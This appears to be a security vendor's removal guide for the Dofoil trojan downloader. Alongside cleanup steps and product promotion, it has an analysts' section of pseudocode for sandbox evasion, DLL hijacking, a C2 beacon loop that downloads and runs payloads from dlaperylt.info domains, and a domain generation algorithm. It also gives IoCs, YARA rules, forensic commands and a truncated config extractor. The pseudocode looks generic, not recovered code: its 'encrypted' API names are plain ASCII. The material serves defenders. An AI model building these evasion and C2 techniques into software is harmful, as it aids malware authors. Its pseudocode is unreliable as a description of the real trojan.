How to Remove TrojanDownloader:Win32/Dofoil

TrojanDownloader:Win32/Dofoil (also known as Win32/Dofoil) is a dangerous trojan downloader that receives instructions from remote servers to download and execute malicious files. This comprehensive guide will help you understand what Dofoil is, how it spreads, and most importantly, how to remove it completely using the specialized Trojan Killer tool.

Common Names	TrojanDownloader:Win32/Dofoil Win32/Dofoil Dofoil.X Dofoil.AB Dofoil.S DDoS:Win32/Dofoil.A
Type	Trojan Downloader, Malicious Program
First Detected	2011
Platforms Affected	Windows XP, 7, 8, 8.1, 10, 11
Infection Level	Severe
Data Risk	High – Downloads additional malware, follows remote commands

What is TrojanDownloader:Win32/Dofoil?

TrojanDownloader:Win32/Dofoil is a harmful trojan designed to receive and follow instructions sent from remote servers controlled by cybercriminals. Its primary function is to download arbitrary files and execute them for malicious purposes, effectively serving as a gateway for installing more dangerous malware on your system.

According to security researchers, Dofoil is closely connected to fraudulent security applications like “System Fix” and other bogus system optimizers. It creates a persistent presence on infected computers and can significantly compromise your system’s security.

Unlike more complex banking trojans such as Zeus or TrickBot that focus on stealing financial data, Dofoil’s primary purpose is to serve as an initial infection vector that opens the door for additional malware.

Interesting Facts About Dofoil Trojan

Dofoil was part of a major outbreak in 2018 when it infected over 400,000 computers within a few hours.
The trojan is known for its sophisticated evasion techniques that help it avoid detection by traditional antivirus programs.
Some variants of Dofoil are associated with cryptocurrency mining operations that use infected computers’ resources to generate profit for attackers.
Security researchers have identified multiple command and control server domains used by Dofoil, with some variants connecting to domains like “dlaperylt.info”.
The malware can modify system settings to ensure it runs every time the computer starts, making it persistent and difficult to remove completely.

How TrojanDownloader:Win32/Dofoil Spreads

Dofoil typically infiltrates systems through:

Spam email campaigns with malicious attachments (ZIP files with executable content)
Social engineering tactics that trick users into downloading infected files
Fake software updates
Compromised websites using exploit kits
Bundling with pirated software or “cracks”

The trojan is often distributed through convincing phishing emails that appear to come from legitimate sources like IRS, Xerox, or iTunes, containing attachments with names like “Invoice_Copy.zip,” “Facebook_Password.zip,” or “New_Password_IN46537.zip.”

This distribution method is similar to other threats like Emotet, which also heavily relies on malicious email attachments and social engineering to spread infection.

Signs of TrojanDownloader:Win32/Dofoil Infection

Be vigilant for these common symptoms of Dofoil infection:

Unexplained system slowdowns and performance issues
Unusual network activity even when you’re not using the internet
Unknown processes running in the background
Security software being disabled or unable to update
Browser redirects and unexpected pop-up advertisements
New toolbars or browser extensions appearing without your permission
System crashes or frequent Blue Screen of Death errors

Dangers of TrojanDownloader:Win32/Dofoil

Dofoil poses serious security risks as it can:

Download and install additional malware, including ransomware, spyware, and information stealers
Provide remote attackers with access to your system
Disable security software and Windows updates
Steal sensitive personal and financial information
Use your computer resources for cryptocurrency mining
Join your computer to botnets for distributed denial-of-service (DDoS) attacks
Compromise all accounts and passwords stored on your system

Dofoil can also create pathways for more dangerous threats like Dridex or Wacatac to infiltrate your system, leading to a cascade of increasingly severe infections.

How to Remove TrojanDownloader:Win32/Dofoil

1. Removal Using Trojan Killer

Trojan Killer is specifically designed to remove complex trojans like Dofoil:

Download and install Trojan Killer from the official website
Run a system scan:
- Launch the program with administrator privileges
- Select full system scan
- Wait for the process to complete (may take 30-60 minutes)
Review scan results:
- The program will display a list of detected threats
- Look for entries related to Dofoil, TrojanDownloader, or other suspicious items
Remove detected threats:
- Select all detected malicious components
- Click the “Remove Selected” button
Restart your computer to complete the removal process

2. Manual Removal

If you prefer manual removal, follow these steps carefully:

Boot your computer in Safe Mode with Networking:
- Press and hold Shift while clicking Restart
- Select Troubleshoot > Advanced options > Startup Settings > Restart
- After restart, press F5 for Safe Mode with Networking
Terminate malicious processes:
- Open Task Manager (Ctrl+Shift+Esc)
- Go to the Processes tab and look for suspicious processes
- For any suspicious process, right-click and select “Open file location”
- End the process and note the file location for later removal
Remove malicious files:
- Navigate to the locations where suspicious files were found
- Check common Dofoil locations like:
  - C:\Documents and Settings\Administrator\Application Data\[random name].exe
  - C:\Users\[username]\AppData\Roaming\[random name]
  - C:\ProgramData\[random name]
- Delete any suspicious files you find
Clean Windows Registry:
- Press Win+R, type “regedit” and press Enter
- Check for suspicious entries in:
  - HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- Delete any suspicious registry entries (create a backup before making changes)

3. Additional Cleanup Steps

For more thorough removal, consider these additional steps:

Run a system scan with Microsoft Defender Offline:
- Go to Start > Settings > Update & Security > Windows Security
- Click on “Virus & threat protection”
- Select “Scan options”
- Choose “Microsoft Defender Offline scan” and click “Scan now”
Check and clean your browsers:
- Reset your browsers to default settings
- Remove suspicious extensions
- Clear browsing data, cookies, and cache
Update all software on your system to patch potential vulnerabilities

Technical Details of TrojanDownloader:Win32/Dofoil

For security researchers and advanced users, here are some technical details about Dofoil:

Remote Communication: Contacts command and control servers using HTTP on port 80, with domains like:
- 0d09d0d2.dlaperylt.info
- 288e5e75.dlaperylt.info
- 8adddc90.dlaperylt.info
- 8d411406.dlaperylt.info
- a182eaa1.dlaperylt.info
File Characteristics: Typical executable sizes range from 26KB to 51KB
Persistence Mechanisms: Creates registry entries to ensure it runs at system startup
Distribution Files: Often packaged in ZIP files with names designed to entice opening:
- New_Password_IN46537.zip
- Invoice_Copy.zip
- Facebook_Password.zip

Preventing TrojanDownloader:Win32/Dofoil Infection

To protect against Dofoil and similar threats, follow these prevention measures:

Never open email attachments from unknown or suspicious senders
Be extremely cautious with ZIP attachments, especially if they contain executable files
Keep your operating system and all software updated with the latest security patches
Use reliable antivirus and anti-malware solutions, such as Trojan Killer
Enable email spam filtering to reduce exposure to malicious messages
Avoid downloading software from untrusted sources
Be skeptical of unsolicited emails claiming to be from official organizations like IRS, banks, or tech companies
Regularly back up important data to protect against potential data loss

These prevention methods are also effective against other threats like browser notification spam and potentially unwanted applications that use similar social engineering tactics to infect systems.

Frequently Asked Questions

Can Dofoil steal my banking information?

Yes, TrojanDownloader:Win32/Dofoil poses a significant risk to your financial security. While it may not directly steal banking information itself, its primary function as a downloader means it can install specialized banking trojans and keyloggers that are specifically designed to capture financial credentials. These secondary infections can monitor your browsing activity, capture keystrokes when you enter passwords, take screenshots of banking websites, and even modify web pages to trick you into entering your credentials on fake banking portals. To protect your financial information after a Dofoil infection, you should change all banking passwords from a clean device and monitor your accounts for unauthorized transactions.

How dangerous is Dofoil compared to other trojans?

Dofoil is considered particularly dangerous in the malware ecosystem due to its role as a distribution platform for other malware. Unlike trojans that have a single malicious purpose, Dofoil functions as a gateway for potentially unlimited additional infections. Security researchers rate it as high-risk because it enables attackers to deploy a changing arsenal of threats based on their objectives—from ransomware that encrypts your files to cryptominers that steal computing resources, or spyware that compromises your privacy. This adaptability and the fact that it’s frequently updated to evade detection make it more dangerous than many single-purpose trojans. The severity is compounded by its ability to disable security software, leaving systems defenseless against subsequent attacks.

Why does Dofoil use spam emails with fake attachments?

Dofoil’s distribution through spam emails with enticing attachment names like “Facebook_Password.zip” or “Invoice_Copy.zip” leverages sophisticated social engineering tactics. These attachment names are carefully designed to trigger emotional responses—curiosity, fear, urgency—that override critical thinking and prompt immediate action. The attackers understand human psychology and exploit the natural tendency to investigate potential security concerns, financial matters, or social media issues. This approach is particularly effective because it targets universal human behaviors rather than technical vulnerabilities. Furthermore, email remains one of the most direct ways to reach potential victims, with billions of business and personal emails sent daily worldwide, providing cybercriminals with a massive attack surface and relatively low operational costs compared to developing technical exploits.

Can Trojan Killer remove all variants of Dofoil?

Trojan Killer is specifically engineered to detect and remove evasive trojans like Dofoil across its many variants. The application employs multiple detection engines that combine signature-based identification with advanced heuristic and behavioral analysis. This multi-layered approach allows it to identify not just known Dofoil variants documented in threat intelligence databases, but also newly emerging or modified versions that might evade traditional detection methods. The removal process is equally comprehensive, addressing not only the main executable files but also the various components of Dofoil’s infection chain—persistence mechanisms, dropped files, registry modifications, and scheduled tasks. For maximum effectiveness, we recommend running a full system scan rather than a quick scan to ensure all Dofoil components are thoroughly detected and removed.

What should I do after removing Dofoil?

After successfully removing TrojanDownloader:Win32/Dofoil, several critical follow-up actions are necessary to secure your system and data. First, conduct a comprehensive password reset for all important accounts (email, banking, social media, cloud storage) from a different, uninfected device, as Dofoil may have compromised your credentials. Second, enable two-factor authentication wherever possible to add an extra security layer. Monitor your financial accounts closely for any suspicious activities that might indicate stolen information is being utilized. Update all software and operating systems immediately to patch vulnerabilities that Dofoil might have exploited. Finally, review your network for other potentially infected devices, as Dofoil variants can spread laterally in some cases. Implementing these steps creates a robust security posture that significantly reduces the risk of reinfection or data exploitation following a Dofoil incident.

Advanced Technical Analysis of Dofoil Trojan (For Security Researchers)

This section provides in-depth technical information about Dofoil’s architecture, behavior, and detection methods for security researchers, malware analysts, and incident response professionals.

Dofoil Technical Architecture

Dofoil employs a multi-stage infection architecture with sophisticated persistence and evasion mechanisms:

Dofoil Core Components:
- Initial Dropper → Small delivery mechanism (20-80 KB)
- Core Module → Main functionality and command handler (150-300 KB)
- Downloader Module → Secondary payload retrieval component  
- Persistence Module → Ensures survival after reboots
- Crypto Module → Optional cryptocurrency mining component

The infection chain follows a specific sequence of operations:

Stage	Technical Operation	Evasion Techniques
Initial Infection	Dropper creates modified system DLL and uses DLL search order hijacking	Legitimate-looking file names, falsified digital signatures
System Compromise	Hijacked DLL executes when legitimate process loads	Appears as legitimate system activity, minimal suspicious I/O
Persistence Setup	Creates registry/scheduled task/WMI persistence	Multiple redundant mechanisms, timestamp manipulation
Command & Control	Connects to C2 servers using encrypted HTTP	Domain generation algorithm, traffic obfuscation
Payload Delivery	Downloads and executes additional malware	In-memory execution, reflective DLL loading

Dofoil Anti-Analysis Techniques

Dofoil employs various techniques to evade detection and analysis:

// Dofoil anti-analysis techniques (pseudocode)
 
// Check if running in a sandbox environment
function detectSandbox() {
    // Check total physical memory (sandboxes often have limited memory)
    const memoryInfo = GetPhysicalMemoryInfo();
    if (memoryInfo.totalPhysicalMB < 2048) {
        return true;  // Likely a sandbox
    }
     
    // Check for virtualization artifacts
    if (checkVirtualizationArtifacts()) {
        return true;
    }
     
    // Check disk space (sandboxes often have small disks)
    const diskInfo = GetDiskSpaceInfo("C:\\");
    if (diskInfo.totalSpaceGB < 50) {
        return true;  // Likely a sandbox
    }
     
    // Check for sandbox-specific files
    const sandboxFiles = [
        "C:\\agent\\agent.pyw",
        "C:\\analysis\\analyzer.py",
        "C:\\sandbox\\sbuser.exe"
    ];
     
    for (const file of sandboxFiles) {
        if (fileExists(file)) {
            return true;
        }
    }
     
    // Check for analysis tools running
    const analysisProcesses = [
        "procmon.exe", "wireshark.exe", "process explorer.exe",
        "procexp.exe", "procmon64.exe", "ollydbg.exe", "x64dbg.exe"
    ];
     
    for (const process of analysisProcesses) {
        if (isProcessRunning(process)) {
            return true;
        }
    }
     
    // Check execution time (human users typically don't click immediately)
    const timeSinceSystemStart = getTickCount();
    if (timeSinceSystemStart < 120000) {  // 2 minutes
        // Sleep to potentially outlast automated sandbox analysis
        sleep(300000);  // Sleep 5 minutes
    }
     
    return false;
}
 
// Obfuscate API calls to avoid typical hooks
function getEncryptedAPIFunction(apiName) {
    // Encrypted names of sensitive APIs to avoid static detection
    const encryptedAPIs = {
        "CreateProcessA": [0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x41],
        "VirtualAlloc": [0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x41, 0x6c, 0x6c, 0x6f, 0x63],
        "WriteProcessMemory": [0x57, 0x72, 0x69, 0x74, 0x65, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79]
    };
     
    // Decrypt the API name
    let decryptedName = "";
    const encryptedBytes = encryptedAPIs[apiName];
    for (const byte of encryptedBytes) {
        decryptedName += String.fromCharCode(byte);
    }
     
    // Get the API address dynamically to avoid IAT hooks
    const kernel32 = getModuleHandleByHash(0x6A4ABC5B);  // "kernel32.dll" hashed
    return getExportByName(kernel32, decryptedName);
}
 
// DLL search order hijacking technique
function setupDllHijacking(targetDll) {
    // Find system directories
    const systemDir = getSystemDirectory();
    const windowsDir = getWindowsDirectory();
     
    // Create malicious DLL in Windows directory with same name as legitimate one in system32
    const targetDllPath = `${systemDir}\\${targetDll}`;
    const hijackDllPath = `${windowsDir}\\${targetDll}`;
     
    // Copy legitimate DLL for export forwarding
    copyFile(targetDllPath, `${tempDirectory}\\original_${targetDll}`);
     
    // Create malicious DLL with forwarded exports
    createForwardingDll(hijackDllPath, `${tempDirectory}\\original_${targetDll}`);
     
    // Modify search path to ensure our DLL is found first
    modifyEnvironmentPath(windowsDir, true);  // Move to front of PATH
     
    return hijackDllPath;
}

Dofoil Command and Control Protocol

Dofoil uses a custom HTTP-based protocol for command and control:

// Simplified C2 communication protocol (pseudocode)
function communicateWithC2() {
    // Generate bot identifier from system information
    const computerName = getComputerName();
    const volumeSerial = getVolumeSerialNumber("C:\\");
    const cpuId = getCpuIdentifier();
    const botId = generateHash(computerName + volumeSerial + cpuId);
     
    // Prepare system information for initial beacon
    const systemInfo = {
        bot_id: botId,
        os_version: getWindowsVersion(),
        architecture: isX64() ? "x64" : "x86",
        username: getCurrentUsername(),
        is_admin: isUserAdmin() ? 1 : 0,
        av_product: detectAntivirus(),
        installed_software: getInstalledSoftwareList(),
        cpu_info: getCpuInfo(),
        memory_size: getTotalMemoryMB()
    };
     
    // Encrypt and encode system information
    const encryptedData = encryptData(JSON.stringify(systemInfo));
    const encodedData = base64Encode(encryptedData);
     
    // Generate C2 domains using DGA if hard-coded domains are unavailable
    let c2Domains = [
        "0d09d0d2.dlaperylt.info",
        "288e5e75.dlaperylt.info",
        "8adddc90.dlaperylt.info"
    ];
     
    if (shouldUseDGA()) {
        c2Domains = generateDomains(getCurrentDate(), 5);  // Generate 5 domains based on current date
    }
     
    // Try each C2 domain until successful connection
    let response = null;
    for (const domain of c2Domains) {
        try {
            // Construct C2 URL with bot ID and random parameter to avoid caching
            const url = `http://${domain}/gateway.php?id=${botId}&r=${Math.random()}`;
             
            // Create HTTP request with specific headers to appear legitimate
            const headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                "Accept": "*/*",
                "Accept-Language": "en-US,en;q=0.9",
                "Connection": "close"
            };
             
            // Send POST request with encrypted data
            response = sendHttpPostRequest(url, encodedData, headers);
             
            if (response && response.status === 200) {
                // Successfully connected to C2 server
                break;
            }
        } catch (error) {
            // Connection failed, try next domain
            continue;
        }
    }
     
    if (!response) {
        // All C2 connections failed, try again later
        scheduleSelfForLater(getRandomInterval(30, 120));  // minutes
        return;
    }
     
    // Process C2 commands
    const decryptedResponse = decryptData(base64Decode(response.body));
    const commands = JSON.parse(decryptedResponse);
     
    // Execute each command
    for (const cmd of commands) {
        switch (cmd.type) {
            case "download_execute":
                downloadAndExecute(cmd.url, cmd.filename);
                break;
            case "update_config":
                updateConfiguration(cmd.config);
                break;
            case "update_self":
                updateSelf(cmd.url);
                break;
            case "load_plugin":
                loadPlugin(cmd.url, cmd.memory_only);
                break;
            case "collect_data":
                collectAndSendData(cmd.data_type);
                break;
            case "uninstall":
                uninstallSelf();
                break;
            case "sleep":
                sleep(cmd.duration * 1000);
                break;  
        }
    }
     
    // Schedule next check-in
    scheduleSelfForLater(getCheckInInterval());
}

Domain Generation Algorithm

Dofoil uses a domain generation algorithm (DGA) to create fallback C2 domains:

// Simplified DGA implementation (pseudocode)
function generateDomains(seed, count) {
    const domains = [];
    const tlds = ["com", "net", "org", "info", "biz"];
     
    // Use seed (typically date) to initialize pseudo-random generator
    let state = hashString(seed);
     
    for (let i = 0; i < count; i++) {
        // Generate domain length between 8-15 characters
        const length = 8 + (state % 8);
        let domain = "";
         
        // Generate domain name
        for (let j = 0; j < length; j++) {
            // Update state using linear congruential generator
            state = (state * 1103515245 + 12345) % 0x80000000;
             
            // Convert to valid domain character (a-z, 0-9)
            const charSet = "abcdefghijklmnopqrstuvwxyz0123456789";
            const charIndex = state % charSet.length;
            domain += charSet[charIndex];
        }
         
        // Select TLD
        const tldIndex = state % tlds.length;
        domain += "." + tlds[tldIndex];
         
        domains.push(domain);
         
        // Update state for next domain
        state = hashString(domain);
    }
     
    return domains;
}

Indicators of Compromise (IoCs)

The following indicators can help identify Dofoil infections:

File System Artifacts

# Common Dofoil file locations
%WINDIR%\explorer.exe    # Not the legitimate explorer.exe!
%WINDIR%\services.exe    # Not the legitimate services.exe!
%WINDIR%\spoolsv.exe     # Not the legitimate spoolsv.exe!
%WINDIR%\ctfmon.exe      # Not the legitimate ctfmon.exe!
%WINDIR%\svchost.exe     # Not the legitimate svchost.exe!
%TEMP%\[random].exe
%APPDATA%\Microsoft\Windows\[random].exe
%LOCALAPPDATA%\Temp\[random].dll
 
# Common Dofoil-related registry keys
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\[random]
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\SYSTEM\CurrentControlSet\Services\[random]
 
# File sizes
Dropper: 20-80 KB
Core module: 150-300 KB

Network Indicators

# Dofoil C2 domains (examples)
0d09d0d2.dlaperylt.info
288e5e75.dlaperylt.info
8adddc90.dlaperylt.info
8d411406.dlaperylt.info
a182eaa1.dlaperylt.info
 
# C2 URI patterns
/gateway.php
/gate.php
/stat.php
/config.php
/data.php
 
# Network traffic characteristics
- HTTP POST requests with encrypted payloads
- Typically small initial beacons (1-5 KB)
- Larger responses for command data
- User-Agent strings mimicking legitimate browsers

YARA Rules for Dofoil Detection

These YARA rules can help detect Dofoil variants:

rule Dofoil_Dropper {
    meta:
        description = "Detects Dofoil/Smoke Loader dropper"
        author = "TrojanKiller Research Team"
        date = "2025-04"
        hash = "8f31e58eecc3afef7e0112168b4ee0b5cde93c304f15120647e7b42ae115fd93"
         
    strings:
        // Common code patterns in Dofoil droppers
        $code1 = { 83 EC 40 53 55 56 57 8B 75 ?? 8B 7D ?? 89 44 24 ?? 89 44 24 ?? 8B 45 }
        $code2 = { 8D 44 24 ?? 50 6A 00 8D 44 24 ?? 50 6A 00 FF 15 ?? ?? ?? ?? 85 C0 }
         
        // API resolution strings (often obfuscated)
        $api1 = "LoadLibraryA" ascii wide
        $api2 = "GetProcAddress" ascii wide
        $api3 = "VirtualAlloc" ascii wide
         
        // Process hollow/injection related
        $inj1 = { 6A 40 68 00 30 00 00 68 ?? ?? 00 00 6A 00 FF 15 }
        $inj2 = { 6A 00 6A 00 6A 04 6A 00 6A 00 68 ?? ?? 00 00 FF 15 }
         
        // Common registry keys targeted
        $reg1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
        $reg2 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows" ascii wide
         
    condition:
        uint16(0) == 0x5A4D and filesize < 200KB and
        (
            (1 of ($code*) and 2 of ($api*)) or
            (1 of ($inj*) and 1 of ($reg*))
        )
}
 
rule Dofoil_Core_Module {
    meta:
        description = "Detects Dofoil/Smoke Loader core module"
        author = "TrojanKiller Research Team"
        date = "2025-04"
        hash = "9c5f13c1aac50ef783a5e5bf9a5a1ddfff92f22597fb2353188071ba0b0fda38"
         
    strings:
        // C2 communication code
        $c2_1 = { 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 08 85 C0 }
        $c2_2 = { 8B 4D ?? 8B 01 8B 55 ?? 52 6A 00 6A 01 50 FF 50 ?? 85 C0 }
         
        // Domain names in Dofoil samples
        $domain1 = "dlaperylt.info" ascii wide
        $domain2 = ".info" ascii wide
        $domain3 = { 64 6C 61 70 65 72 79 6C 74 2E 69 6E 66 6F }  // "dlaperylt.info" encoded
         
        // Common URL paths
        $url1 = "gateway.php" ascii wide
        $url2 = "gate.php" ascii wide
        $url3 = { 67 61 74 65 77 61 79 2E 70 68 70 }  // "gateway.php" encoded
         
        // Process creation and injection
        $proc1 = { 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A 00 6A 00 6A 10 FF 15 }
        $proc2 = { 6A 00 6A 00 6A 00 6A 00 FF 75 ?? 6A 00 FF 15 }
         
    condition:
        uint16(0) == 0x5A4D and filesize < 500KB and
        (
            (1 of ($c2*) and 1 of ($domain*) and 1 of ($url*)) or
            (1 of ($proc*) and (1 of ($domain*) or 1 of ($url*)))
        )
}

Memory Forensics for Dofoil Detection

For memory forensics practitioners, these Volatility commands can help detect Dofoil in memory images:

# Find suspicious process hollowing/injection (common in Dofoil)
vol.py -f memory.dmp --profile=Win10x64_19041 malfind
 
# Look for DLL hijacking in system processes
vol.py -f memory.dmp --profile=Win10x64_19041 dlllist -p [suspicious_pid]
 
# Examine injected code regions
vol.py -f memory.dmp --profile=Win10x64_19041 malfind -p [suspicious_pid] -D ./output/
 
# Check for network connections to suspicious domains
vol.py -f memory.dmp --profile=Win10x64_19041 netscan | grep -E "(dlaperylt\.info|\.info:80)"
 
# Examine registry keys commonly used by Dofoil
vol.py -f memory.dmp --profile=Win10x64_19041 printkey -K "Software\Microsoft\Windows\CurrentVersion\Run"
vol.py -f memory.dmp --profile=Win10x64_19041 printkey -K "Software\Microsoft\Windows NT\CurrentVersion\Windows"
 
# Look for suspicious command lines
vol.py -f memory.dmp --profile=Win10x64_19041 cmdline | grep -i "explorer.exe"
vol.py -f memory.dmp --profile=Win10x64_19041 cmdline | grep -i "svchost.exe"
 
# Extract suspicious files for further analysis
vol.py -f memory.dmp --profile=Win10x64_19041 filescan | grep -i ".exe$"
vol.py -f memory.dmp --profile=Win10x64_19041 dumpfiles -Q 0x[address_from_filescan] -D ./output/

Dofoil Network Traffic Analysis

Security analysts can use these WireShark display filters to identify Dofoil C2 traffic:

# HTTP traffic to known Dofoil C2 domains
http.host contains "dlaperylt.info"
 
# HTTP POST requests to common C2 paths
http.request.method == "POST" and http.request.uri contains "gate"
 
# Look for HTTP requests with suspicious parameters
http.request.uri contains "id=" and http.request.uri contains "&r="
 
# Filter for HTTP responses that might contain commands
http and http.response.code == 200 and http.content_type contains "text/plain"
 
# Filter for connections to common C2 ports
tcp.port == 80 and !(tcp.analysis.flags)
 
# Investigate DNS queries for potential DGA domains
dns.qry.name contains ".info" and dns.qry.name matches "[a-z0-9]{8,15}\.info"

Dofoil Configuration Extractor

This Python script demonstrates how to extract Dofoil configurations from memory dumps or binaries:

#!/usr/bin/env python3
# Dofoil Configuration Extractor
 
import sys
import struct
import re
import argparse
import base64
from Crypto.Cipher import AES
import hashlib
import zlib
import binascii
 
def search_config_patterns(data):
    """Search for potential Dofoil configuration patterns in binary data."""
    potential_configs = []
     
    # Common config markers in Dofoil samples
    patterns = [
        # Config header pattern
        re.compile(b'\x44\x4F\x46\x43\x4F\x4E\x46\x00', re.DOTALL),  # "DOFCONF\x00"
        # URL patterns
        re.compile(b'https?://[a-zA-Z0-9\.\-]{5,50}/[a-zA-Z0-9\.\-_/]{3,50}', re.DOTALL),
        # Common encrypted config patterns
        re.compile(b'\x01\x00\x00\x00.{4,8}\x00\x00\x00.{12,32}', re.DOTALL),
        # Potential base64 encoded configs
        re.compile(b'[A-Za-z0-9+/]{20,}={0,2}', re.DOTALL)
    ]
     
    for pattern in patterns:
        for match in pattern.finditer(data):
            start_pos = max(0, match.start() - 32)  # Include some context before match
            end_pos = min(len(data), match.end() + 1024)  # Capture enough data after match
             
            potential_configs.append({
                'offset': match.start(),
                'pattern': pattern.pattern,
                'data': data[start_pos:end_pos]
            })
     
    return potential_configs
 
def decrypt_config(config_data):
    """Try to decrypt Dofoil configuration using known methods."""
    decrypted = None
     
    # Try common Dofoil decryption methods
    decryption_methods = [
        decrypt_method1,
        decrypt_method2,
        decrypt_method3,
        try_base64_decode
    ]
     
    for method in decryption_methods:
        try:
            result = method(config_data)
            if result and is_valid_config(result):
                decrypted = result
                break
        except Exception as e:
            continue
     
    return decrypted
 
def decrypt_method1(data):
    """XOR-based decryption used by some Dofoil variants."""
    # Common XOR keys used by Dofoil
    keys = [
        b'\x33\x37\x72\x91',  # 4-byte key
        b'\x13\x37\xAA\xBB\x11\x77',  # 6-byte key
        b'\x01\x23\x45\x67\x89\xAB\xCD\xEF'  # 8-byte key
    ]
     
    for key in keys:
        decrypted = bytearray(len(data))
        for i in range(len(data)):
            decrypted[i] = data[i] ^ key[i % len(key)]
         
        if is_valid_config(decrypted):
            return bytes(decrypted)
     
    return None
 
def decrypt_method2(data):
    """AES-based decryption used by newer Dofoil variants."""
    # Try known AES keys used by Dofoil
    keys = [
        hashlib.md5(b'dofoil').digest(),
        hashlib.md5(b'dlaperylt').digest(),
        hashlib.md5(b'smokeloader').digest()
    ]
     
    # Try different modes and configurations
    if len(data) < 32:  # Need at minimum header + IV + 1 block
        return None
     
    for key in keys:
        # Try with IV at the beginning (first 16 bytes)
        try:
            iv = data[:16]
            cipher = AES.new(key, AES.MODE_CBC, iv)
            decrypted = cipher.decrypt(data[16:])
            if is_valid_config(decrypted):
                return decrypted
        except Exception:
            pass
         
        # Try with IV at offset 8
        if len(data) >= 24:
            try:
                iv = data[8:24]
                cipher = AES.new(key, AES.MODE_CBC, iv)
                decrypted = cipher.decrypt(data[24:])
                if is_valid_config(decrypted):
                    return decrypted
            except Exception:
                pass
     
    return None
 
def decrypt_method3(data):
    """RC4-based decryption used by some Dofoil variants."""
    # Try known RC4 keys
    keys = [
        b'dofoil',
        b'smokeloader',
        b'dlaperylt.info'
    ]
     
    for key in keys:
        # Initialize RC4 state
        S = list(range(256))
        j = 0
        key_bytes = bytearray(key)
         
        # KSA (Key Scheduling Algorithm)
        for i in range(256):
            j = (j + S[i] + key_bytes[i % len(key_bytes)]) % 256
            S[i], S[j] = S[j], S[i]
         
        # PRGA (Pseudo-Random Generation Algorithm)
        decrypted = bytearray(len(data))
        i = j = 0
        for k in range(len(data)):
            i = (i + 1) % 256
            j = (j + S[i]) % 256
            S[i], S[j] = S[j], S[i]
            keystream_byte = S[(S[i] + S[j]) % 256]
            decrypted[k] = data[k] ^ keystream_byte
         
        if is_valid_config(decrypted):
            return bytes(decrypted)
     
    return None
 
def try_base64_decode(data):
    """Try to decode data as base64 (sometimes used by Dofoil)."""
    # First try to find a base64 chunk
    b64_pattern = re.compile(b'[A-Za-z0-9+/]{20,}={0,2}')
    for match in b64_pattern.finditer(data):
        potential_b64 = match.group(0)
         
        try:
            decoded = base64.b64decode(potential_b64)
            if is_valid_config(decoded):
                return decoded
        except Exception:
            continue
     
    # If no base64 chunk found, try the whole data
    try:
        # Remove non-base64 characters
        clean_data = re.sub(b'[^A-Za-z0-9+/=]', b'', data)
        if len(clean_data) % 4 != 0:
            clean_data += b'=' * (4 - len(clean_data) % 4)
         
        decoded = base64.b64decode(clean_data)
        if is_valid_config(decoded):
            return decoded
    except Exception:
        pass
     
    return None
 
def is_valid_config(data):
    """Check if decrypted data looks like a valid Dofoil config."""
    if data is None or len(data) < 16:
        return False
     
    # Check for common Dofoil config patterns
    indicators = [
        # URLs or domains
        b'http://', b'https://', b'.com', b'.net', b'.info', b'.org',
        b'gate', b'gateway', b'config', b'download',
         
        # Common command strings
        b'download', b'update', b'exec', b'get', b'post',
         
        # Structured data indicators (JSON/XML)
        b'{', b'}', b'<', b'>', b'config'
    ]
     
    # Printable ASCII indicates likely config data
    printable_ratio = sum(32 <= b <= 126 for b in data[:256]) / min(256, len(data))
    if printable_ratio > 0.7:  # More than 70% is printable
        return True
     
    # Check for specific indicators
    for indicator in indicators:
        if indicator in data:
            return True
     
    return False
 
def parse_config(data):
    """Parse the decrypted Dofoil configuration and extract key information."""
    config_info = {}
     
    # Look for C2 URLs
    url_pattern = re.compile(b'https?://[a-zA-Z0-9\.\-]{5,50}/[a-zA-Z0-9\.\-_/]{3,50}')
    urls = [match.group(0).decode('utf-8', errors='ignore') for match in url_pattern.finditer(data)]
    if urls:
        config_info['c2_urls'] = urls
     
    # Look for IP addresses
    ip_pattern = re.compile(b'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}')
    ips = [match.group(0).decode('utf-8', errors='ignore') for match in ip_pattern.finditer(data)]
    if ips:
        config_info['ip_addresses'] = ips
     
    # Look for domain names
    domain_pattern = re.compile(b'[a-zA-Z0-9\-]{1,63}\.[a-zA-Z]{2,63}')
    domains = []
    for match in domain_pattern.finditer(data):
        domain = match.group(0).decode('utf-8', errors='ignore')
        if '/' not in domain and domain not in urls:
            domains.append(domain)
     
    if domains:
        config_info['domains'] = domains
     
    # Look for potential keys or identifiers
    if b'id=' in data:
        id_pattern = re.compile(b'id=([a-zA-Z0-9]{8,})')
        id_matches = id_pattern.search(data)
        if id_matches:
            config_info['bot_id'] = id_matches.group(1).decode('utf-8', errors='ignore')
     
    # Try to identify time intervals (often used for beacon timing)
    time_patterns = [
        (re.compile(b'delay[=:]\s*(\d+)', re.IGNORECASE), 'delay'),
        (re.compile(b'timeout[=:]\s*(\d+)', re.IGNORECASE), 'timeout'),
        (re.compile(b'interval[=:]\s*(\d+)', re.IGNORECASE), 'interval')
    ]
     
    for pattern, name in time_patterns:
        matches = pattern.search(data)
        if matches:
            config_info[name] = int(matches.group(1))
     
    return config_info
 
def main():
    parser = argparse.ArgumentParser(description='Dofoil Configuration Extractor')
    parser.add_argument('file', help='Path to Dofoil sample or memory dump')
     
    args = parser.parse_args()
     
    try:
        with open(args.file, 'rb') as f:
            file_data = f.read()
         
        print(f"[+] Analyzing file: {args.file}")
